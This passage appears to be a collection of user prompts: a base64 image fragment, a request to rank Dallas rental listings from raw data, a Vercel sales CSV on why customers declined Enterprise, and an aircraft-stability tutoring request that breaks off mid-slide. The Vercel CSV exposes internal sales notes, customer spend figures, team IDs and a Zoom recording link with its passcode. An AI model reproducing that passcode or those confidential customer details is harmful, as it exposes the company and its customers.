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\nOutput in markdown format' -'go through the following listing data and pick out the best listings with an explanation as to why they are likely to be successful. \n\nuse the following format in the output:\n\nListing Name:\nListing Location:\nListing Amenity List:\nListing Property Type:\nLikely Reason for Success:\nLikely Price of the Property to Purchase Versus Lease\n\nThis is the data:\n\n16365346;2 Bedroom - Open Concept, 1 mile from Uptown;78199259;Minh;;District 14;32.8125;-96.81018;Entire home/apt;172;14;24;44424;0.32;4;230;0\n17400901;SPECIAL PRICE 2/2 - Business / Corporate Traveler;112593570;Max;;District 14;32.80221;-96.79254;Entire home/apt;135;5;1;43060;0.02;74;1;0\n16405547;Beautiful Executive Home (2BR/2BA);885061;Roberto;;District 7;32.79963;-96.70282;Entire home/apt;104;3;53;44949;0.72;3;96;11\n17435391;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fThe heart of Dallas Uptown/ Downtownâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80251;-96.79163;Entire home/apt;250;2;4;44651;0.06;250;1;1\n16418235;Huge Private Room in Gated House Patio & Hot Tub >;2592644;Mike & Adriana;;District 8;32.63438;-96.82738;Private room;42;2;52;44963;0.7;4;179;1\n17438671;Modern & Cozy 1 Bedroom Poolside;118006823;Rashaad;;District 11;32.89131;-96.77163;Private room;52;1;2;42812;0.03;1;0;0\n16491279;THE CAPSULE || Uniquely Designed Creative Space;56288960;Billy;;District 14;32.81427;-96.79485;Entire home/apt;169;5;8;44955;0.47;1;238;5\n17461325;Quiet One-Bedroom Home 3006;15693949;Arturo;;District 7;32.77048;-96.76393;Entire home/apt;74;1;347;44940;5.04;2;42;44\n16507160;The Cozy Owl Cottage - So Close to So Much;57773483;Denise;;District 9;32.8467;-96.74354;Entire home/apt;105;4;121;44932;1.75;1;233;13\n17463770;Custom House Ranked Best by Architecture Digest;41923076;Anj;;District 2;32.80389;-96.78401;Entire home/apt;263;2;251;44892;3.47;9;70;22\n16517589;Cool Mid Century Modern House;57374514;Victor;;District 9;32.83421;-96.68265;Entire home/apt;167;3;13;43619;0.17;1;88;0\n17473882;Business / Corporate Travelers;112593570;Max;;District 14;32.81289;-96.79048;Entire home/apt;120;28;2;43152;0.03;74;0;0\n16648085;Modern, Dog Friendly Apartment with a Private Patio;102678713;William;;District 2;32.80612;-96.78425;Entire home/apt;134;1;230;44948;3.17;1;328;48\n17478348;North Dallas Quiet Condo;107583316;Anthony;;District 11;32.93983;-96.81188;Entire home/apt;68;30;19;44839;0.27;2;164;4\n16687474;Luxury High-Rise in the Heart of Dallas;89916473;James;;District 14;32.7881617780577;-96.7999417040135;Entire home/apt;253;1;2;44969;2;1;78;2\n17505582;4400 sqft 6BR/4BT Lake, pool, boat dock, renovated;57133221;Fang;;District 9;32.91668;-96.5025;Entire home/apt;487;3;165;44928;2.84;1;230;25\n"16708684;Near Bishop Arts \nTiny Blue House;64921836;Jerri;;District 1;32.75089;-96.84728;Entire home/apt;95;2;296;44941;4.01;1;108;53"\n16813046;The Blue Room - cozy clean and comfortable, HDTV;2592644;Mike & Adriana;;District 8;32.63423;-96.82709;Private room;45;2;47;44938;0.64;4;49;2\n17512017;AMAZING CONDO, N.DALLAS PERFECT LOC;62476323;Jennifer;;District 10;32.90805;-96.74064;Entire home/apt;74;30;100;44899;1.39;3;272;6\n16896206;â\xad\x90ï¸\x8fAmazing Price on a Brand NEW UPTOWN Apartmentâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81511;-96.79163;Entire home/apt;125;4;3;43950;0.05;250;106;0\n17516618;Bishop Arts District - Walk to Everything!;43042344;Heath;;District 1;32.74759;-96.83037;Entire home/apt;116;3;174;44951;2.4;151;339;26\n17527189;HIGH DEMAND PRIVATE VIP HOME HEATED POOL AND SPA!;24407447;Blake;;District 10;32.90038;-96.7437;Entire home/apt;559;2;152;44952;2.19;12;329;21\n16914852;Upscale Townhouse, spacious, quiet, guest bedroom.;59908862;JoAnne;;District 12;32.99018;-96.80626;Private room;48;28;54;44787;0.74;1;239;2\n17575785;Quaint & Cozy Tudor - Quiet \\*Family\\* 3/2 + May add Aptmnt;35342054;Deborah;;District 9;32.81808;-96.73883;Entire home/apt;233;2;83;44934;1.15;5;96;7\n16959215;★★Amazing Price on a Brand NEW UPTOWN Apartment★★;108514926;Dalls;;District 14;32.81395;-96.79095;Entire home/apt;84;56;1;43985;0.03;250;252;0\n16964525;â\xad\x90ï¸\x8f Amazing Price on a Brand NEW UPTOWN Apartmentâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81395;-96.79095;Entire home/apt;120;90;5;44809;0.07;250;241;2\n17612005;< Dallas House, Large Yard, Pergola & HotTub >;117540337;Veronica;;District 8;32.63702;-96.83529;Entire home/apt;214;2;71;44942;1;2;179;3\n17639994;Business / Corporate Travelers;112593570;Max;;District 2;32.79271;-96.80743;Entire home/apt;150;20;2;43197;0.03;74;34;0\n16973794;Private Guest Suite in Walkable Lowest Greenville;60226438;Jesse;;District 2;32.81436;-96.77674;Entire home/apt;68;2;87;44933;1.2;5;262;11\n17640155;Business / Corporate Travelers;112593570;Max;;District 2;32.7916;-96.80946;Entire home/apt;90;70;3;43674;0.05;74;0;0\n16984473;Mid-Century Mod Comfort: Business or Pleasure!;684684;Bee;;District 13;32.90517;-96.85647;Entire home/apt;275;30;5;44836;0.11;1;147;1\n17657023;â\x9d¤ï¸\x8f Luxury Apartment Uptown Dallas/West Village â\x9d¤ï¸\x8f;108514926;Dalls;;District 14;32.80728;-96.79661;Entire home/apt;177;2;6;44878;0.08;250;44;3\n17013017;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.80834;-96.79646;Entire home/apt;102;56;1;42922;0.01;74;79;0\n17669809;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fA Premier Location Heart of Victory Parkâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;20;8;44654;0.11;250;55;1\n17042714;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;56;5;44469;0.07;250;6;0\n17670164;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f Walk to AA center and Katy Trail â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;20;8;43709;0.12;250;55;0\n17085212;Business / Corporate Travelers;112593570;Max;;District 14;32.80818;-96.7958;Entire home/apt;120;56;3;42982;0.04;74;47;0\n17679894;â\xad\x90ï¸\x8fAmazing Heart of VICTORY PARK Downtown â\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;15;4;43521;0.06;250;55;0\n17095923;Private Queen Floor. Long term discount available.;77565485;Noelle;;District 1;32.74573;-96.86242;Private room;60;1;305;44942;4.2;2;88;16\n17680439;â\xad\x90ï¸\x8fAmazing Heart of VICTORY PARK Downtown â\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;70;8;43561;0.11;250;55;0\n17712837;“Home Awayâ€\x9d Clean & Safe! Best Suited for Females.;120726900;Suzanne;;District 12;32.98117;-96.80162;Private room;56;2;97;44865;1.35;2;73;14\n17108068;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.80859;-96.79683;Entire home/apt;113;70;7;44955;0.1;74;79;5\n17108158;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.80803;-96.79659;Entire home/apt;103;20;9;44953;0.12;74;79;4\n17732458;2BR 2BA W/Water View. Great location in N Dallas;49218487;Donna;;District 11;32.94492;-96.80525;Entire home/apt;109;60;18;44415;0.26;2;75;0\n17123019;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80921;-96.7958;Entire home/apt;120;28;5;44594;0.07;250;6;0\n17733183;Luxury Downtown Loft + Stunning View I Pool,Gym,Theatr;28836312;Roy;;District 2;32.77798;-96.79694;Entire home/apt;124;1;407;44968;5.71;11;352;81\n17123356;â\x9d¤ï¸\x8f Luxury Apartment Uptown Dallas/West Village â\x9d¤ï¸\x8f;108514926;Dalls;;District 14;32.80728;-96.79661;Entire home/apt;93;28;4;44242;0.06;250;44;0\n17125487;Cozy contemporary 2-BR/2-bath condo near SMU;1373416;Rony;;District 14;32.83057;-96.78039;Entire home/apt;95;29;45;44780;0.62;1;198;2\n17735515;The Hidden Cliff, Private Suite -NO cleaning fee;6601665;Linda;;District 1;32.76582;-96.82539;Private room;111;3;48;43982;0.72;3;227;0\n17142583;Designed to Relax, Convenient Dallas Location!;57933646;Nicole And Brad;;District 11;32.89225;-96.77256;Entire home/apt;93;1;358;44959;4.9;15;273;34' -'Below is a CSV output containing information of why Enterprise Vercel Customers downgraded to the Pro tier. Vercel is a cloud infrastructure platform. Summarize and rank the reasons people are downgrading. \n\nCustomer,AE,Link to Opp,Call Recording,Notes,What do you think they would have paid?,Avg current monthly spend,Team ID\nValidere,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7UVwQAN/view,"https://vercel.zoom.us/rec/share/dN4GuLLCWG-SX79mm2z\\_9Grs6oYybja55VYufY4mhNRd-BnJOwar-A4jAMdlRPQ.dg9cc4vxFWZMlCHF?startTime=1659031213000\n\nPasscode: 035ix&zy","Director of Technology specifically only needs SSO and the ability to have activity metrics sent out of vercel. Said that they would not consider paying 25k for an enterprise plan. From our conversation it seems like he would be willing to pay 12K for a ""pro plus"" something that has no extra support but has SSO and Audit logs",12k/year,20,\nPeople Data Labs,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FAxQOQA1/view,,Inbound from PA team. Pro customer with low usage. Reached out for SSO for their continuing SOC2 compliance. Decided to pass on enterprise as it would be a ~3x increase in cost for them and they could get by with Google sign-on for now.,$12-18k,"No team on the opp, I will dig for it ",team\\_m47cUZpMn5xNq081EFPb9SKk\nPure Cobalt,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6eNXQAZ/view,,"Inbound from PA team. Agency developing 9 sites for client in the financial services sector. First 5 sites will be mostly marketing, so they don\'t think it is worth it to pay $30k+ for the first year when the uptime and support SLAs would be valuable. They do plan to move to enterprise once their more transactional sites go into production, but that is roughly 1 year away.",$12k for first year with low usage,"No team on the opp, I will dig for it ",\nBellhop,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6sypQAB/view,,Self-prospected. Pro customer currently migrating their production website to Vercel. They are a startup so very cost conscious. They are having success doing it themselves on pro so they don\'t see the need to pay for enterprise right now.,$12-$18k,Deleted their account,team\\_aKbrXhYPFW0QBpyklP21OmTU\nHelp Scout,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7HkMQAV/view,,Inbound from PA team. It is just a marketing website to they have no need/desire to pay for SLAs and extra support right now. Will stay on Pro.,$10k,80,\nWowa,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7V0GQAV/view,,"Self prospected pro customer. 15 seats in use (7 devs) and 1.5 TB in usage in the past month and growing. Customer has had a few support requests in the past few months and has not been satisfied with the quality of support. Interested in SLAs and closer relationship but don\'t see value in enterprise right now considering with their overages they are paying $700 per month, and the enterprise package they would need (10 seats, 2 TB) is $46k list price.",$15-20k,Avg $700,\nNCAI,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H78l7QAB/view,,"Keen on partnering with us, but they cant afford the 25-36k price point. They may need it in the future, but the only thing I was able to sell them was support, and they don\'t feel like they need that now.",$10K-15k,"No team on the opp, I will dig for it ",team\\_Sf66SD3dKWQNna76o6MMQjld\nKnife Center ,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6tD6QAJ/view,,They dont actually need to push anything to production at this point as they are just starting their transition to Next and Vercel. So they would rather just get a pro account and pay as they go until they more bandwidth... Essentially dont want to pay 28k just for support,Unknown,"No team on the opp, I will dig for it ",\nMetaStreet,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7uMQQAZ/view,https://app.gong.io/call?id=3387264884721665343,Moving from Netlify to vercel since Netlify is trying to push them into an enterprise contract. We met because they wanted to know more about our contractual terms for enterprise. They specifically asked if we had a tier between pro an enterprise. In the call recording I asked them how they would structure it if we did.,only 3-5k/year,"No team on the opp, I will dig for it ",team\\_KcesVwnMNkAtwzue1ptOT05A\nMaket,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7VULQA3/view,,Inbound from PA team. Connected with the CTO who was only interested in Enterprise for increased support for their dev team. They are a small startup and can\'t justify the price increase from $60/month to Enterprise levels right now. The CEO said they would be staying on Pro as it is currently sufficient for their needs.,,"No team on the opp, I will dig for it ",team\\_G8w4f47AoUovtDqMRoP4dkeQ\nTitan Invest,Vishal,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6rjzQAB/view,,This was a team seats ovager use case sourced by our PA team. Connected with the Eng Dir who\'d mentioned via email they\'d like to upigrade to Enterprise but didn\'t want to increase spend by an exponential amount. They wanted better Support and faster build times. They also value the better Uptime. ,$18k,Avg $1080,team\\_6Qt2a8e0CcctESArcHoYNlYi\nWith Power,Vishal,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001IppV6QAJ/view,,"Fintech startup beginning to migrate things onto Next.js and Vercel. They came to us with a blocker around SSL certs but also were eager to learn more about the infrastructure piece. They value the developer workflow and from a business standpoint care about SEO. Pricing wise since they are early stage, they wouldn\'t consider a move to ENT til Q1/2 of next year at the earliest. They project to grow 10-15% MoM over the next 6-12 months and are already hitting some usuage limits on Pro.",$18-20K,Avg $600,team\\_z6PyOScFsygsQaghuZJjwYL0\nAlcion,Austin ,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7jrHQAR/view,,Small startup company that needed security features. They only need around 10/20 GB of bandwidth and a very low amount of serverless if any at all. They\'re considering looking at Enterprise in a few months ,$18-20k,0,\nBambee,Ben,https://vercel.lightning.force.com/lightning/r/0064V00001FAtlPQAT/view,,Lead came from the PA team. Was unhappy with the service from Netlify and was looking into Vercel. Netlify ended up winning them as customers because they were able to price them for 15 team seats for around $100-$150 per seat.,$18-20k,"No team on the opp, I will dig for it ",\nIndigov,Aaren,https://vercel.lightning.force.com/lightning/r/Account/0014V00002Fdrq9QAB/view,,Lead came in from PA - Indigov works with government agencies so was curious about additional security (SSO & DDOS protection) but they were only using us for mostly pre- production (I believe host most of their site on AWS) so couldn\'t justify the cost to jump to enterprise ,$10k ,$500,team\\_wzGvjqx81cgRXxVPXHBcadSA\nAavegotchi,Kyle,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FAFBJQA5/view,,"Lead initially came in as a current Pro customer and started as a billing conversation that never really transpired. DevOps Engineer cancelled a follow up meeting stating ""We\'ve recently moved all our static assets to S3, thus our Vercel bandwidth usage has been lower."" Their cost/month on Pro wasn\'t too far off from Enterprise initially. ",,,\nLiveBlocks,Kyle,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FB2zsQAD/view,,"They were hitting limits on their Gip Repo projects at 10 but we were willing to give them a heavy discount due to partnership potential. We eventually lifted the limits and they stayed on Pro but the COO was willing to pay around $20,000 annually before CTO threatened to do the same thing on Netlify for much cheaper. ",,,\nLooplex,Kyle,https://vercel.lightning.force.com/lightning/\\_classic/%2F0694V00000L0yOfQAJ,,Churned to Pro because they weren\'t using any of the Enterprise features and had a bad support experience. ,,,\nEthPass.xyz,Kyle,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6ZATQA3/view,,Originally interested in 2FA authentication. Biggest pain point was with Edge Functions. Can\'t use node.js middleware and patching a bunch of libraries to get middleware to work. Multi-region was also of interest but they were priced out of ENT and wouldn\'t consider it until they are more mature. ,,,\nTRBL,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FA5vMQAT/view,,"They originally met with us because they wanted more developer seats, more concurrent builds, and analytics & data points. After an initial discussion they decided to hold off for now & continue to utilize Pro.",,,\nRoon (Carespace),Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001IpsctQAB/view,,He was only meeting with us for Enterprise level support. He had a website launch in 2 days & wanted to make sure he had the support needed. Upon finding out ENT pricing he decided to stay on Pro. I asked if I could get $25K approved would he consider. He stated that maybe if it was half of that price. (8 employees & still on Pro),$12-15K,$210,\nPetcoin,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FAkyEQAT/view,,Just wanted to inquire about Enterprise & the security features. Decided to stay on Pro until their company is actually making money. Haven\'t offically launched,,$60,\nStrike,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7NtsQAF/view,,They literally only wanted an Enterprise quote. Also asked if it was possible to get 2FA as an add-on per month instead of upgrading to EN from Pro.,,,\nDNS Filter ,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001F9FdWQAV/view,,"Disliked Netlify & switched over to Vercel Pro. Took an ENT call to get pricing as they were interested in Enterprise level support, RBAC, & SSO. Ultimately chose to stay on Pro because of their amount of users & ENT features weren\'t a neccessity at this time. ",,$230,\nFintual,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7JOhQAN/view,,"once I told him the price, he immediately said that pro should be enough for him, he said he is willing to work around the sso stuff so that they dont have to pay that much. ""one day we will be enterprise clients""",Forgot to ask,60,\nMovie Pass,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H8D6FQAV/view,,"Can I get your feedback on something? \n\nI know last week we talked about an enterprise plan (starts at $36k/year). It seems like the consensus was that a full enterprise plan at that price doesn\'t make sense just yet. \n\nWe are considering piloting an ""enterprise starter plan"" which would still get you all of the benefits of the enterprise plan, but wouldn\'t be as big of a commitment. (likely 15k/year instead of 36k). With the enterprise starter plan, you\'d still have enterprise support, but you wouldn\'t have a dedicated Customer Success rep. \n\nIs this something Moviepass would consider? (any feedback as to why or why not would be very helpful as we are testing the market for this)\n\nCustomer:\n""Apologies for the delay, just digging myself out of emails now. \n\nI think a big benefit for us on an Enterprise plan is the peace of mind knowing if a critical issue came up, we\'d have firmer SLAs in place. That would likely be a big enough use case for us as we continue to grow. \n\nWe\'re currently still making a determination about how much resourcing we\'re devoting to web in the short-term, which would impact whether we\'d want to consider that. \n\nHope this helps.",,,\nSpecial Offer,Ben,https://vercel.lightning.force.com/lightning/\\_classic/%2F0064V00001FAgisQAD,,The pricing of enterprise was too high (part of this was due to a miscalculation when estimating their bandwidth and we came back with a quote that was extremely high - 120k). Losing this deal is likely more due to the fact that we wrongly estimated their bandwidth.,36k-45k (difiicult to say because they are an agency),,\nGluskin Sheff,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6x22QAB/view,https://app.gong.io/call?id=8497298647419571325&highlights=%5B%7B%22type%22%3A%22SHARE%22%2C%22from%22%3A415%2C%22to%22%3A471%7D%5D,"Check out the gong snippet - they word for word ask us if we have anything in between pro and ent. ""We felt a little uncomfortable in aligning our needs against one of your offered tiers – Pro not including enough support/SLAs and Enterprise being too advanced for our needs and north of what we could eventually justify from a pricing perspective.""",,,\nSpordle,Justin,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FATaiQAH/view,,"""We are actually going through the process of testing and switching our projects to NextJS and Vercel on the Pro Plan. The Pro plan is enough for what we need as of now."" - Shaun Cooper of Spordle",,$140,https://vercel.lightning.force.com/lightning/r/Team\\_\\_c/a0E4V00000QIk4yUAD/view\nThresholds.io,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001L4oaCQAR/view,,"Really appreciate the discount. However, for this one feature we need, it doesn\'t make sense for us to increase our cost by over 2000%. Let\'s push off on our next meeting but I\'ll be sure to reach out again at a time when it makes more sense to take on that cost.",$10k,,' -'You are a a well accomplished educational tutor. You teach concepts from ground up and ensure your tutee has understood the concept in the best way possible. You take inputs from the tutee containing his study material and present it in a well understandable format, using the best tutoring practices for making your tutee excel in his university exams. Today, I need you to teach Longitudinal and Lateral-Directional Stability in aircrafts. I shall be providing you slide by slide content and you shall begin your tutoring accordingly. The syllabus for the upcoming test is lectures 10-15. The content of the 10th lecture is as follows:\n```\nSlide 1:\nLongitudinal Static Stability\nRecall that the eigenvalues of the short period (SP) dynamics are given by\n$$\n\\lambda^2-M\\_q \\lambda-M\\_\\alpha=0\n$$\nHorizontal tail and the wing "stabilize" $M\\_q$\nHT "stabilizes" $M\\_\\alpha$, but the wing does not necessarily do as much\nToday\'s class: a closer look at $M\\_\\alpha$\n- Static stability and $M\\_\\alpha$\n- Stability metric: static margin\n- Stick-free and stick-fixed static stability\n\nSlide 2:\nReview of Stability\nSo far: an aircraft is stable if it rejects a disturbance; i.e., the aircraft\nreturns to the intended equilibrium as t goes to 1\nA di↵erent perspective on stability: when the aircraft is disturbed from\nthe equilibrium, do the forces and moments instantaneously try to restore\nthe equilibrium?\nStrictly speaking, the initial response\nType of disturbance: perturbation in the position of the aircraft\nAnalogy motivated by the classic example of a ball and a\ncurved surface\n\nSlide 3:\n- Formal definition: a system is statically stable if, upon a disturbance $\\Delta x$, the force $F$ produced by the system is such that $F \\cdot \\Delta x<0$\n- This is considered to be a necessary condition for stability (in the sense of asymptotic convergence to equilibrium)\nExample (spring-mass system): let $\\ddot{x}=F=-k x$, where $k>0$\n- Clearly, $x \\cdot F=-k x^2<0$. Hence, the system is statically stable\n- Eigenvalues: $\\lambda= \\pm i \\sqrt{k} \\Longrightarrow$ the system is marginally stable\n\nSlide 4:\nExample (spring-mass system): let ̈x = F = 2 ̇x - x, with the initial\n\ncondition x(0) = 0.1, x ̇(0) = 0\nThe initial force F(0) =\n\nx(0), and x(0) · F(x(0)) < 0.\n\nThe system is statically stable\nEigenvalues:\n\n\\lambda = 1 the system is unstable\n\nThus, static stability is not a sufficient condition for stability\nStatic stability is determined only by the stiffness of the system\nWhy bother about static stability?\n-Historical evolution of ideas\n-Design parameters\n\nSlide 5:\nFramework for Longitudinal Static Stability\n\nSet lateral-directional variables to zero\nAssume \\alpha is small\nAnalysis for the wing, followed by wing + HT\n\nSlide 6:\nSingle Wing: Trim\n- Suppose the wing $A C$ is at a distance $x\\_{A C}$ from the CG of the aircraft. We first determine the trim $\\alpha$ by setting $M^0=0$ (about the CG)\n$$\n\\begin{aligned}\n& \\frac{1}{2} \\rho V^2 S\\left(c C\\_{m\\_{A C}}+x\\_{A C}\\left(C\\_{L\\_0}+C\\_{L\\_\\alpha} \\alpha^0\\right)\\right)=0 \\\\\n\\Longrightarrow \\quad & \\alpha^0=-\\frac{c C\\_{m\\_{A C}}+x\\_{A C} C\\_{L\\_0}}{x\\_{A C} C\\_{L\\_\\alpha}}\n\\end{aligned}\n$$\nTrimmed value of lift (with $C\\_{m\\_{A C}}<0$ )\n$$\nL^0=\\frac{1}{2} \\rho V^2 S\\left(-\\frac{c C\\_{m\\_{A C}}}{x\\_{A C}}\\right) \\begin{cases}>0, & x\\_{A C}>0 \\\\ <0, & x\\_{A C}<0\\end{cases}\n$$\n\nSlide 7:\nSuppose the AoA is 